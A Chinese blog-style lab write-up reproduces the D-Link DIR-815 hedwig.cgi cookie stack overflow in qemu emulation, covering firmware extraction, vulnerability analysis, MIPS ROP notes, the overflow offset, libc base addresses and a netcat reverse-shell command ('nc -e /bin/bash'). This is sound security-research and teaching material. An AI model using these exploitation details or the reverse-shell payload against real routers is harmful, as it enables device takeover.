DIR-815 栈溢出漏洞(CNVD-2013-11625)复现
复现环境及所需工具
漏洞复现环境
Ubuntu 24.04.2 LTS
基础工具配置
基础的Pwn环境 + binwalk + sasquatch + qemu
pwn环境配置推荐YX-hueimie师傅的博客
★pwn 24.04环境搭建保姆级教程★_ubuntu24 pwn-CSDN博客
★pwn 22.04环境搭建保姆级教程★_pwn环境搭建-CSDN博客
安装binwalk可以直接使用apt安装,也可以下载binwalk的源码来自己编译
1 | sudo apt install binwalk |
sasquatch
是binwalk
用于解压非标准SquashFS文件系统
的关键依赖(入门不安装这个那么我们之后binwalk分解固件会发现里面 squashfs-root
文件夹是空的)
安装方法如下:
1 | # 安装依赖库(关键步骤,否则编译会失败) |
如果遇到下面问题,请按照下面文章中的方法解决
1 | unsquashfs.c:1835:5: error: this ‘if’ clause does not guard... [-Werror=misleading-indentation] |
binwalk缺少sasquatch报错_unsquashfs.c:1835:5: error: this ‘if’ clause does -CSDN博客
1 | git clone --quiet --depth 1 --branch "master" https://github.com/devttys0/sasquatch |
上面问题解决可能还存在下面问题
1 | LZMA/lzma465/C/LzmaEnc.c: In function ‘LzmaEnc_CodeOneMemBlock’: LZMA/lzma465/C/LzmaEnc.c:2161:19: error: storing the address of local variable ‘outStream’ in ‘*(CLzmaEnc *)pp.rc.outStream’ [-Werror=dangling-pointer=] 2161 | p->rc.outStream = &outStream.funcTable; | ~~~~~~~~~~~~~~~~^~~~~~~~~~~~~~~~~~~~~~ LZMA/lzma465/C/LzmaEnc.c:2145:20: note: ‘outStream’ declared here 2145 | CSeqOutStreamBuf outStream; | ^~~~~~~~~ LZMA/lzma465/C/LzmaEnc.c:2139:45: note: ‘pp’ declared here 2139 | SRes LzmaEnc_CodeOneMemBlock(CLzmaEncHandle pp, Bool reInit, | ~~~~~~~~~~~~~~~^~ cc1: all warnings being treated as errors make: *** [<builtin>: LZMA/lzma465/C/LzmaEnc.o] Error 1 |
我们需要修改build.sh文件来防止这个错误
1 | #!/bin/bash |
安装完成后就可以使用 binwalk -Me <文件地址>
来对文件进行分解了,进入分解后的文件夹可以看到很多 www
bin
usr
等等文件夹,最重要的是还有一个 squashfs-root
文件夹
分解过程中还可能出现软连接有问题,比如我们进入 squashfs-root
文件夹中我们使用 ls -la
指令
这里就发现了一个软连接缺失,指向的是 我们Ubuntu的 /tmp
目录(实际上应该指向路由器的 /tmp
目录,而不是本机的 /tmp
目录),为了安全考虑,binwalk
将这种软链接都置成了 /dev/null
这里我们需要恢复成正常的样子,如果放任不管可能导致后续的模拟失败
修改方法为
进入到 /usr/lib/python3/dist-packages/binwalk/modules
目录下(如果是apt下载的话)
修改其中的 extractor.py
文件修改为下图所示,当然先保留原本的文件最好,万一改错了还可以再改回来
具体修改方法参照下面两篇博客
IOT环境搭建与固件分析 | 坠入星野的月🌙
https://zikh26.github.io/posts/d1f081a9.html?highlight=mips
修改好后解压就不是 /dev/null
如下图所示
还有一个坑,就是很多时候为了方便我们可能会创建Windows和Ubutnu的共享文件夹,然后将共享文件夹从 /mnt/hgfs/
目录下使用ln指令链接到Ubuntu桌面或者别的什么地方,这里需要注意,如果这么做了就不要在这个共享文件夹里面使用binwalk,因为这样会导致binwalk无法创建软连接,笔者在这里踩坑花费了很多时间
安装qemu虚拟机
1 | sudo apt-get install qemu |
漏洞基本介绍
本次复现的CNVD漏洞报告地址:国家信息安全漏洞共享平台
根据官方报告可知DIR-645
型号的hedwig.cgi
中会存在缓冲区溢出的漏洞
固件包(见附件):DIR815A1_FW103b01.bin
分离固件
将我们的固件包放入到我们配置好环境的Ubuntu虚拟机中
使用指令 binwalk -Me DIR815A1_FW103b01.bin
来分解它
分解之后当前文件夹下面会出现一个 _DIR815A1_FW103b01.bin.extracted
文件,也就是我们分解后的程序,根据官网的报告我们已经知道漏洞点在 hedwig.cgi
中所以我们就需要去找这个文件在哪,我们进入我们分解之后的 _DIR815A1_FW103b01.bin.extracted/squashfs-root
中,然后使用find指令来查找,得知它在 _DIR815A1_FW103b01.bin.extracted/squashfs-root/htdocs/web
目录下
进入该目录后我们发现这个 hedwig.cgi
它其实是一个软连接,我们使用 ls -la
指令来查看就会发现它的本体其实是 /htdocs/cgibin
这个文件
下面我们进入该目录并使用checksec指令来查看该文件的保护机制
需要注意的是它的结构为mips而不是我们打pwn常见的amd所以我们需要给IDA安装对应的插件才能分析
插件以及安装方法可以参考下面文章:ida mips插件安装+攻防世界ereere题解-先知社区
笔者使用的为IDA9.0版本,不需要安装该插件,如果上述插件安装失败的话建议安装IDA9.0版本
漏洞点分析
进入 main函数
中找到 hedwig.cgi
进入hedwigcgi_main函数
中,发现其中规定了post
请求方式
然后我们继续进入到 cgibin_parse_request函数
中
发现里面利用 getenv函数
获取了了三个环境变量, 但是和我们的漏洞没啥关系,只不过利用漏洞的时候这里需要随便输入一些东西作为它们的参数
这个函数结束后我们回到hedwigcgi_main函数
我们发现hedwigcgi_main函数
下面会调用 sess_get_uid函数
, 我们进入其中查看
进入到其中也是可以直接看到它获取了我们的环境变量 COOKIE
这里获取到了COOKIE
之后赋值给了v3
,在后续v3
又赋值给了v5
,再通过指针的形式传递给v7
,在通过对特定符号(比如 =
;
等符号)的判断对 COOKIE
进行分离
再继续往下看 sobj_add_char函数
的功能就和它的函数名字一样,用于添加字符
而下面这一段程序的作用就是将 =
前面的内容给 v2
将 =
后面的内容给 v5
再往下看,这里判断 v2
的内容是不是 uid
判断之后将 v4
的内容放入 string
中,然后再拼接到 a1
里面
所以我们可以得到的结论就是 sess_get_uid函数
的作用就是将 COOKIE
中 uid=
后面的内容提取出来
再次回到我们的 hedwigcgi_main函数
我们可以看到下面的 sprintf函数
,这个 sprintf函数
就是我们的一个漏洞点
通过阅读代码逻辑 sprintf函数
的第四个参数 string
其实就是 v4
,而这里的 v4
我们通过上面分析可以得知 v4
其实就是传入的 cookie
中的 uid=
后面的内容,这个部分的内容以及长度其实我们是可以控制的, 而我们的 v27
数组的大小为 1024
所以这里可能存在栈溢出
而继续往下阅读代码,在 hedwigcgi_main函数
的 133行同样还有一个 sprintf函数
, 同样也是往 v27
这个数组中输入
输入的内容 v20
的内容也是 v4
,而 v4
从第一个 sprintf函数
到这第二个 sprintf函数
没有发生改变,所以同样 v4
也是 cookie
中的 uid=
后面的内容,所以利用漏洞的时候我们只需要将 cookie
的 uid=
后面的内容当成 payload
来输入就行了
在利用漏洞之前我们回到漏洞代码之前,我们发现如果想要利用下面的漏洞,我们还需要考虑绕过下面这两个 if
- 我们必须要有
/var/tmp/temp.xml
- 这个
haystack
需要为非0
绕过 1
的方法: 在我们模拟环境的时候在系统内创建一个/var/tmp
文件夹就行
绕过 2
的方法: 在 cgibin_parse_request(sub_409A6C, 0, 0x20000);
的 sub_409A6C
中有对 haystack
进行操作
而进入 sub_409A6C
的条件为使用POST方式
传入内容
但是如果需要使用 POST
进行传参就需要进入到 cgibin_parse_request函数
如下图所示的部分
这个部分return进行了跳转,调试的时候我们会知道这里是 sub_403b10函数
那么我们进入sub_403b10函数
, 接着跟进进入 sub_402FFC函数
在 sub_402FFC函数
函数中进入 sub_402B40函数
最终找到下面这段程序
通过调试我们可以知道这里的 v9(v10, v16)
其实就是调用了 sub_409A6C函数
下面我们回到 hedwigcgi_main函数
在第50行处这里有一个 cgibin_parse_request函数
其中调用了 sub_409A6C函数
进入到 cgibin_parse_request
之中
这里如果 v9
变成 -1
那么下面就没有办法执行 return ((&off_42C014)[3 * v16 - 1])(a1, a2, v7, &v14[v17]);
也就是没有办法进入到 sub_403b10函数
那么也就没有办法在 sub_403b10函数
进入 sub_402FFC函数
当中去,所以环境变量REQUEST_URI
中也必须有内容才行
在后续的exp中我们将这里的环境变量CONTENT_TYPE
设置为application/x-www-form-urlencoded
然后满足这些条件我们就可以利用到第二个 sprintf函数
了
如果是新手来复现熟悉一下过程的话只需要知道我们可以在exp中通过控制cookie的内容来打栈溢出就可以
MIPS栈溢出的相关知识和工具
我们先来捋一下思路,程序什么保护都没有开启,所以我们可以直接 打ROP链来获得shell
,还有就是 MIPS架构
是没办法开启 NX保护
的我们可以构造 shellcode
然后返回 shellcode
的地址执行
当然在实际应用中,最常用的还是通过 ROP + shellcode
的方式来 getshell
构造mips的rop寻找gadget所需的工具
mipsrop
安装方法:IDA插件 MIPSROP的安装和使用方法-CSDN博客
或者使用
ropper
感觉mipsrop更好用
MIPS基础知识
mips架构(32位下的mipsel)的特性
- 叶子函数和非叶子函数
叶子函数
是指没有调用任何别子函数的函数
,它的返回地址会存放在$ra寄存器
中,在叶子函数结束的时候程序会通过$ra寄存器
进行跳转返回,如下图所示
非叶子函数
是指调用了其他子函数的函数
, 它的返回地址 $ra
会在程序开始的时候通过 sw指令
存放到栈上,如下图所示
这是因为它其中调用了别的函数会改变它的 $ra寄存器
的值所以需要依靠栈来保存地址
然后在函数结束的时候再通过 lw指令
取出并跳转返回
流水线效应
最为常见的就是跳转指令
比如jalr
导致的分支延迟效应
而分支跳转语句
后面的那条语句叫做分支延迟槽
就是说,当它跳转指令填充好跳转地址,但是还没来得及跳转过去的时候,跳转指令的下一条指令(分支延迟槽)就已经执行了
也就是说mips架构在执行跳转指令的时候会先执行跳转指令的后一条指令,然后再进行跳转
缓存不一致性
指的是指令缓存区--Instruction Cache
和数据缓存区--Data Cache
的同步需要一定的时间
比如,我们将一段shellcode写入到栈上,那么此时shellcode还属于数据缓存区,如果我们直接跳转过去执行就会出现一些问题,因此我们需要调用一下sleep函数
先停一下,让数据缓存区
能够变成指令缓冲区
然后再进行跳转这样就不会出错了,虽然直接跳转可能也不会出错但是sleep一下更加稳妥
使用qemu用户态模拟
step1 测量偏移量
进入 squashfs-root
文件夹中
执行下面这条指令
1 | cyclic 2000 > payload |
并且创建下面这个脚本并运行它
1 | start.sh |
开启 另外一个终端
,创建下面这个脚本叫做 mygdb.sh
, 然后执行指令 gdb-multiarch -x mygdb.sh
1 | mygdb.sh |
如果我们没有搞错什么,那么我们将得到下面这幅画面
通过图中这个地址被修改的值我们可以计算出我们所需要的偏移量, 得到偏移量为1009
知道溢出量后我们还需要寻找libc的基地址
step2 计算libc基地址
这么我们是使用 qemu用户态
来模拟路由器程序,这时我们直接在 pwndbg
中使用 vmmap指令
是找不到 libc_base
的,大致会出现下图所示情况,我们在图中是看不到 libc.so.0
的初始地址的
所以我们需要在程序里面找到一个libc函数的真实地址,然后利用这个函数相对于libc基地址的偏移量来求出libc的基地址
我们在下面这两个地方打上断点,那么在跳转的时候我们就可以得知memset函数的真实地址了,而知道真实地址我们还需要memset函数相对于libc基地址的偏移量
(这里为什么选用两个memset函数? 这里因为第一次是跳转到延迟绑定的地址,第二次延迟绑定结束才是真实是memset函数地址)
下面使用gdb运行到此处查看memset的真实地址
第一次得到的是延迟绑定的地址,t9中存放
第二次得到的才是真实地址
由此可得,memset函数
的地址为 0x2b333a20
然后我们查看软连接,发现程序的libc文件本体其实是 libuClibc-0.9.30.1.so
文件
将该文件拖入IDA中进行分析,得知 memset
的偏移量为 0x034A20
下面就可以计算出 libc_base = 0x2b333a20 - 0x034A20 = 0x2B2FF000
然后还可以找一下system函数的偏移量为 0x53200
step3 编写并运行exp
接着我们就可以开始编写exp了
1 | from pwn import * |
上述所使用的exp为winmt师傅在其博客中所写,winmt师傅在博客中表示该exp无法打通qemu用户态,但是我本地打了一下发现如果直接打是无法打通的,但是如果加上一个pause,然后gdb-multiarch去连接,调试到最后却是可以打通的,如下图,有点怪,不知道啥原因
但是下面的shellcode版本是不论如何都可以打通的
1 | from pwn import * |
运行之后效果如下图所示
使用qemu系统态模拟
step1 下载对应内核及镜像
想要使用qemu系统态模拟相对就要复杂一点了,我们需要下载对应的 内核
以及 镜像
下载地址: Index of /~aurel32/qemu/mipsel
到上面这个网站下下 debian_squeeze_mipsel_standard.qcow2
镜像以及 vmlinux-3.2.0-4-4kc-malta
内核
如下图所示
step2 创建网桥
开始模拟之前我们需要开启物理机的ip转发功能,以及创建网桥来连接到qemu
虚拟机
首先安装网络配置工具
1 | apt-get install bridge-utils uml-utilities |
然后修改 interfaces
文件
1 | sudo vim /etc/network/interfaces |
一些新版本的Ubuntu里面可能没有 interfaces
这个问题
我们可以使用下面指令来安装
1 | sudo apt install ifupdown |
修改 interfaces
文件内容如下(修改之前可以先备份一份, sudo cp /etc/network/interfaces /etc/network/interfaces.brk
)
下面使用 ip addr
指令来查看我们系统使用的是什么接口 一般是 eth0
或 ens33
eth0如下:
1 | auto lo |
ens33如下:
1 | auto lo |
这里修改完之后可以使用指令 sudo /etc/init.d/networking restart
来重启一下网络配置
再备份一次 sudo cp /etc/network/interfaces /etc/network/interfaces.brk2
备份好之后我们可以写一个脚本用来在两个不同的版本之间切换
我写的脚本如下
1 | # net_cg |
在 /etc/qemu-ifup
文件中写入下面内容(如果没有则需要创建,然后使用 sudo chmod a+x /etc/qemu-ifup
)
注意是写入
,不是
改成下面内容
1 | #!/bin/sh |
还需要开启物理机的转发功能
(写成脚本如下)
1 | #! /bin/sh |
这里做完之后可以使用指令 ip addr
来查看一下虚拟网卡是否已经准备就绪
然后在到/etc
文件中创建一个 /qemu/bridge.conf
在这个文件中写入 allow br0
所有东西成功后进行保存,然后重启我们的Ubuntu系统
step3 配置qemu虚拟机网络设置
我们在第一步已经下载好了我们所需要的 内核
及 镜像
下面我们进入存放它们的文件夹,并且创建下面这个脚本然后运行
1 | start.sh |
执行后会出现一个黑色小窗口,然后里面在加载程序,最后可能会有一个 fail
但是不要紧,不影响我们复现漏洞,太多 fail
可能就有点问题了需要问AI检查一下
qemu
启动的虚拟机初始密码为 root/root
进入之后第一步需要使用 nano
来修改 /etc/network/interfaces
1 | nano /etc/network/interfaces |
修改其中的 eth0
为 eth1
也就是下面部分
1 | # This file describes the network interfaces available on your system |
修改之后执行 ifup eth1
启用eth1接口, 然后我们再使用 ip addr
指令,会有类似下面的输出,从这里获得qemu虚拟机的ip地址,同理在Ubuntu物理机上使用这个 ip addr
指令同样可以得到Ubuntu物理机的ip地址
1 | 2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000 |
执行 ifup eth1
后我们就可以用Ubuntu物理机来连接我们的qumu虚拟机了
1 | # 低版本Ubutnu |
step4 开启环境
然后将在Ubunut物理机上使用scp指令来向qemu虚拟机传输文件
将路由器文件分解得到的 /squashfs-root
文件传入到 qemu虚拟机的 /root
文件夹下面
1 | # 低版本Ubutnu |
在qemu虚拟机的 /squashfs-root
文件中使用 nano指令
创建一个 http_conf
文件用于开启httpd服务
1 | Umask 026 |
运行路由器程序执行下面脚本
1 |
|
运行之后我们可以用Ubuntu自带的浏览器去访问
结束服务准备退出需要还原qemu虚拟机的系统架构,否则会导致qemu虚拟机损坏退出后无法开机,执行下面脚本
1 |
|
调试的话需要用到 gdbserver
下面这个是github项目,已经编译完成的程序(但是作者好像命名错误了把mipsel打成了mipsle, 所以如果使用这个下面的脚本也需要改一改)
embedded-tools/binaries/gdbserver at master · rapid7/embedded-tools
1 |
|
对于这个run.sh脚本我有些疑问,winmt师傅在博客中说这里的ip地址需要填Ubuntu物理机的地址,但是我尝试之后失败了,我改为填写qemu虚拟机的地址然后运行,用Ubuntu虚拟机使用 target remote <qemu虚拟机ip地址>:6666
却可以连接成功,不知道为什么,但是没关系,只要能连上调试就行了
这里设置qemu虚拟机的的ip地址以及端口,之后我们同样可以使用上面的gdb脚本来进行连接
1 |
|
我们需要调试来确定远程的libc_base
这里我们只需要运行上面的 init.sh
,打开浏览器确认服务开启后,然后运行脚本 run.sh
,随后在Ubuntu虚拟机中使用 gdb-multiarch
去连接即可
远程我们可以直接使用vmmap来查看libc基地址, 得到基地址为 0x77f34000
如果我们使用的内核和镜像相同,那么我们的libc基地址基本上也是相同的
打qemu虚拟机想要拿到shell就需要利用到反弹shell,我们需要在Ubutnu虚拟机中开启一个终端用于接收反弹shell
1 | nc -lvnp 8888 |
下面构建exp脚本,攻击192.168.xx.xx:1234
使其执行 system('nc -e /bin/bash 192.168.xx.xxx 8888')
注意这里是Ubuntu物理机的IP
exp如下:
1 | from pwn import * |
然后我们就可以在我们执行 nc -lvnp 8888
的终端拿到shell了,当然前提是exp无误
成功打通如下图所示
参考:
DIR-815 栈溢出漏洞-先知社区
[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com
firmAE模拟仿真DIR815栈溢出漏洞复现-先知社区